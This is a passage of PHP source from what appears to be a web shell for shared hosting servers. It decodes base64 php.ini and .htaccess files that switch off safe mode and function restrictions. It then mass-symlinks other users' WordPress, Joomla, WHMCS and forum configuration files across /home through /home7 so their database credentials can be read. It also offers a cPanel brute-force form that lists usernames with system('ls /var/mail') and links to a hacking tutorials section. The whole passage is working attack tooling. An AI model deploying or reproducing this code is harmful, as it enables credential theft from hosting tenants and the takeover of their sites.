\'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==\';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
\'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'mendapatkan\']==\'passwd\'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0);
$fn = $_POST[\'foldername\'];
//all function here
function syml($usern,$pdomain)
{
symlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user[\'name\'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
echo \'<br/>\';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
\'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#FF0000">--==[ Cpanel BruteForce ]==--</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#FF0000">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="usernames"><?php system(\'ls /var/mail\');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get(\'safe_mode\');
if($safe_mode==\'1\')
{
echo \'ON\';
}else{
echo \'OFF\';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(\'\'==($func=@ini_get(\'disable_functions\')))
{
echo "<font color=#FF0000>No Security for Function</font></b>";
}else{
echo \'<script>alert("Please see below and press >Please Click Here First!<");</script>\';
echo "<font color=red>$func</font></b>";
echo \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';
echo \'<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>\';
}
?></strong></td></tr></table></table></table>
<?
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tutor\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br><br><b>--=[ Tutorial & Ebook hacking ]=--</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
